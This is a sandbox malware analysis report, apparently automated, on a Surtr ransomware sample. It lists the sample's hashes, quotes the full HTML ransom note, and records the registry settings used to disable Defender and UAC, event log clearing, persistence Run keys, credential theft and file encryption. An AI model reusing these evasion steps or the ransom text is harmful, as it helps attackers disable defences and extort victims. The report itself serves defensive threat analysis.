surtr | 805cb28b3e595afe97a6e4ac5051ca11b34d72f4dff2af4581cf74a6b126af43

Analysis

max time kernel
53s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 02:13

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
Size

1.3MB
MD5

6c2b5d1e5204f83e16265da3600d48e0
SHA1

dc40c80e3444ca688779cd81a2b93964fa909b89
SHA256

805cb28b3e595afe97a6e4ac5051ca11b34d72f4dff2af4581cf74a6b126af43
SHA512

5d2eb6e70eda83e491bbc993eec57c35245a9340f6526e6e0abad3c1ebe0c3457e0efc5c6012463ece384de771bb76b3e3f0cf8357a8e71f7c7ac18d66af4e78
SSDEEP

24576:rdtwbXPGBkNXi/Z479uN0/XuNRMLDy5VURkmqpK1Oshy1ZT2rpo3NahUXz+xRE3n:rxLyEuPFvN/a

Score

10^/10

surtr credential_access defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\SURTR_README.hta

Ransom Note

<!DOCTYPE html><html lang="en"> <head> <meta http-equiv="x-ua-compatible" content="ie = 9"> <meta name="viewport" content="width = device-width, initial-scale = 1.0"> <title>SurtrRansomware</title> <HTA:APPLICATION ID="SurtrRansomware" APPLICATIONNAME="SurtrRansomware" icon=explorer.exe scroll=no contextmenu=no innerBorder=no windowState=maximize minimizeButton=no singleInstance=yes sysMenu=no VERSION="1.0" WINDOWSTATE="maximize"/> </head><style>@import url('https://fonts.googleapis.com/css2?family=Didact+Gothic&display=swap');@import url('https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.css');body { overflow: hidden; font-family: 'Didact Gothic', sans-serif; color:#333; box-sizing: border-box; }* { box-sizing: border-box; }a { text-decoration: none;}header { background-color: #f2f2f2; height: 90px; }nav { width: 960px; margin: 0 auto; display: flex; justify-content: space-between;}.logo { width: 100px;}.logo img { width: 100px; }.lang-menu { width: 100px; text-align: right; font-weight: bold; margin-top: 25px; position: relative;}.lang-menu .selected-lang { display: flex; justify-content: space-between; line-height: 2; cursor: pointer;}.lang-menu .selected-lang:before { content: ''; display: inline-block; width: 32px; height: 32px; background-image: url(https://www.countryflags.io/us/flat/32.png); background-size: contain; background-repeat: no-repeat;}.lang-menu ul { margin: 0; padding: 0; display: none; background-color: #fff; border: 1px solid #f8f8f8; position: absolute; top: 45px; right: 0px; width: 125px; border-radius: 5px; box-shadow: 0px 1px 10px rgba(0,0,0,0.2);}p{ display: -webkit-box; display: -ms-flexbox; display: inline; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; }.lang-menu ul li { list-style: none; text-align: left; display: flex; justify-content: space-between;}.lang-menu ul li a { text-decoration: none; width: 125px; padding: 5px 10px; display: block;}.lang-menu ul li:hover { background-color: #f2f2f2;}.lang-menu ul li a:before { content: ''; display: inline-block; width: 25px; height: 25px; vertical-align: middle; margin-right: 10px; background-size: contain; background-repeat: no-repeat;}.de:before { background-image: url(https://www.countryflags.io/de/flat/32.png);}.en:before { background-image: url(https://www.countryflags.io/us/flat/32.png);}.fr:before { background-image: url(https://www.countryflags.io/fr/flat/32.png);}.ar:before { background-image: url(https://www.countryflags.io/ae/flat/32.png);}.lang-menu:hover ul { display: block;}i { color: #dc143c; font-style: normal;}td{ font-size: 1.4rem; }@media only screen and (max-width: 1370px) { td{ font-size: 1rem; } h1.ex1 { font-size:1.2rem !important; } p.ex2{ font-size:1rem !important; } p.ex3{ font-size:1.4rem !important; } h1#noticefirst{ font-size:1.5rem !important; } } </style> </style> <body> <div style="margin-left: 60px; margin-right: 60px; margin-top:20px;"> <div style="display: inline; "> <p class="ex3" style="border-left: 6px solid rgb(255, 55, 55); font-size: 40px; background-color: rgb(255, 255, 255); padding-left: 10px; color: rgb(88, 88, 88); "><strong >SurtrRansomware</strong> </p> </div> <div style="width: 100%; border-radius: 4px; margin-top: 10px; border-style: solid; border-color: rgb(255, 78, 78); border-width: 0.5px; text-align: center; background-color: rgb(255, 249, 249); "> <h1 style="font-size: 1.8rem; margin-left: 10px; "> OOPS ALL YOUR <b style="color: #fff; background-color: rgb(248, 26, 26); padding: 4px; font-size: 1.8rem; ">IMPORTANT FILES</b> HAVE BEEN ENCRYPTED AND <b style="color: #fff; background-color: rgb(248, 26, 26); padding: 4px; font-size: 1.8rem; ">STOLEN !!</b></h1> </div> <h1 id="noticefirst" > Notice : There is only one way to restore your data read the boxes carefully! </h1> <div style="width: 100%; border-radius: 4px; border-style: solid; position: relative; border-color: rgb(248, 26, 26); border-width: 0.5px 0.5px 0.5px 25px; background-color: rgb(255, 227, 227); padding-top: 1%; padding-bottom: 1%; "> <div style="width: 100%; margin-top: -7px;"> <h1 class="ex1" style=" margin-bottom: 7px; margin-top: 0px; margin-left: 10px; font-size:1.8rem; color: #000; ">Attention :</h1> </div> <div style="width: 48%; display: inline-block; position: absolute; right : 0; "> <div style=" height:100%; margin-left: 15px; "> <table > <tbody> <tr> <td style="text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Do Not change file names.</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong>Do Not try to decrypt using third party softwares , it may cause permanent data loss .</strong></td> </tr> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong>your files will be sold on the Dark Web after 15 days. Imagine 1 million hackers have all your information including files, IP, name and number and location and ...</strong></td> </tr> </tbody> </table> </div> </div> <div style="width: 48%; display: inline-block; "> <div style=" height:100%; margin-left: 15px; "> <table > <tbody> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Do not pay any money before decrypting the test files.</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; "width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> You can use our 50% discount if you pay the fee within first 15 days of encryption . otherwise the price will be doubled.</strong></td> </tr> <tr > <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> In order to warranty you , our team will decrypt 3 of your desired files for free.but you need to pay the specified price for the rest of the operation .</strong></td> </tr> </tbody> </table> </div> </div> </div> <div style="width: 100%; border-radius: 4px; margin-top: 5px; "> <div style="width: 100%; display: flex; flex-direction: column; border-style: solid; padding top: 1%; padding-bottom: 1%; border-color: #4d53eb; border-width: 0.5px 0.5px 0.5px 25px; border-radius: 4px; background-color: #f3f3fc; " > <div><h1 class="ex1" style=" margin-bottom: 7px; margin-top: 0px; margin-left: 10px; font-size:1.6rem; color: #000; ">How To Decrypt :</h1></div> <div style=" height:100%; margin-left: 15px; "> <table style="table-layout: fixed; "> <tbody> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Your system is offline . in order to contact us you can email this address <i> [email protected] </i> use this ID (<i style="color: #dc143c; " >8I1hOslH3UfNIt</i>) for the title of your email .</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> If you weren't able to contact us within 24 hours please email : <i > [email protected] </i></strong></td> </tr> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> If you didn't get any respond within 48 hours use this link (Not Available Now).send your ID and your cryptor name (SurtrRansomwareUserName) therefore we can create another way to contact you as soon as possible </i></strong></td> </tr> </tbody> </table> </div> </div> </div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

Signatures

Detects Surtr Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4584-0-0x0000000140000000-0x000000014015C000-memory.dmp	family_surtr
behavioral2/files/0x000c000000023c10-37.dat	family_surtr

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Surtr
Ransomware family first seen in late 2021.
ransomware surtr
Surtr family
surtr

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Clears Windows event logs 1 TTPs 64 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
3880	Process not Found
1416	Process not Found
6108	Process not Found
6600	wevtutil.exe
1020	wevtutil.exe
1900	wevtutil.exe
5460	Process not Found
3988	wevtutil.exe
4788	Process not Found
7412	Process not Found
7124	Process not Found
296	Process not Found
7928	wevtutil.exe
4312	wevtutil.exe
5716	Process not Found
7528	Process not Found
5128	wevtutil.exe
4436	wevtutil.exe
8756	Process not Found
2680	Process not Found
6928	wevtutil.exe
7788	Process not Found
1252	Process not Found
8240	wevtutil.exe
3860	wevtutil.exe
7004	Process not Found
6852	Process not Found
9396	Process not Found
2448	Process not Found
4232	Process not Found
6712	Process not Found
10124	wevtutil.exe
8796	wevtutil.exe
8876	wevtutil.exe
5500	Process not Found
7436	Process not Found
9612	wevtutil.exe
6488	wevtutil.exe
4828	wevtutil.exe
7312	Process not Found
4064	Process not Found
6552	Process not Found
5604	Process not Found
4188	Process not Found
5596	Process not Found
5232	wevtutil.exe
6916	wevtutil.exe
8184	Process not Found
5660	wevtutil.exe
9640	wevtutil.exe
7528	Process not Found
9104	Process not Found
2208	Process not Found
8168	Process not Found
5824	wevtutil.exe
6956	wevtutil.exe
8896	Process not Found
2712	Process not Found
6636	Process not Found
4704	Process not Found
10144	wevtutil.exe
7080	wevtutil.exe
9232	Process not Found
5892	Process not Found

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1512	bcdedit.exe
1664	bcdedit.exe

Renames multiple (12676) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 5 IoCs

flow	pid	Process
18	6016	Process not Found
21	6016	Process not Found
24	6016	Process not Found
25	6016	Process not Found
27	6016	Process not Found

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchos3 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchos4 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos1 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos2 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe

Enumerates connected drives 3 TTPs 39 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	Process not Found
File opened (read-only)	\??\G:	Process not Found
File opened (read-only)	\??\H:	Process not Found
File opened (read-only)	\??\J:	Process not Found
File opened (read-only)	\??\K:	Process not Found
File opened (read-only)	\??\G:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\E:	Process not Found
File opened (read-only)	\??\I:	Process not Found
File opened (read-only)	\??\I:	Process not Found
File opened (read-only)	\??\M:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\Z:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\K:	Process not Found
File opened (read-only)	\??\E:	Process not Found
File opened (read-only)	\??\E:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\J:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\O:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\P:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\R:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\B:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\Q:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\A:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\G:	Process not Found
File opened (read-only)	\??\H:	Process not Found
File opened (read-only)	\??\H:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\U:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\W:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\F:	Process not Found
File opened (read-only)	\??\J:	Process not Found
File opened (read-only)	\??\I:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\L:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\N:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\T:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\V:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\X:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\D:	Process not Found
File opened (read-only)	\??\F:	Process not Found
File opened (read-only)	\??\K:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\S:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened (read-only)	\??\Y:	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3424	Process not Found

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
9388	Process not Found
9396	Process not Found
9440	Process not Found
9448	Process not Found
9956	Process not Found
5452	Process not Found

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ru\System.Windows.Forms.resources.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-100.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-180.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN022.XML.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\ONLNTCOMLIB.DLL.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\selector.js.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\cs.pak.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RInt.16.msi.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_OEM_Perp-ppd.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp2-ul-oob.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial4-pl.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Xml.Linq.Resources.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fi-fi.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.VisualBasic.Forms.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStdCO365R_Subscription-ul-oob.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PROOF\msspell7.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC\ARCTIC.ELM.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\kok.pak.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\URLREDIR.DLL.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\manifest.json.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right.gif.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\edit_pdf_poster.jpg.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\ui-strings.js.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\en_get.svg.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ko-kr\ui-strings.js.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured_lg.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_GB\List.txt.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\VisualElements\LogoBeta.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\qu.pak.DATA.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it\PresentationCore.resources.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\ja\System.Management.Instrumentation.Resources.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\Be.Tests.ps1.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_ellipses-hover.svg.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\libGLESv2.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\resource.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp6-ul-phn.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\access\libudp_plugin.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\print_poster.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ru-ru\ui-strings.js.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-string-l1-1-0.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019MSDNR_Retail-pl.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStdR_Retail-ul-oob.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\ADO210.CHM.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\System\mfc140u.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\sfs_icons.png.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
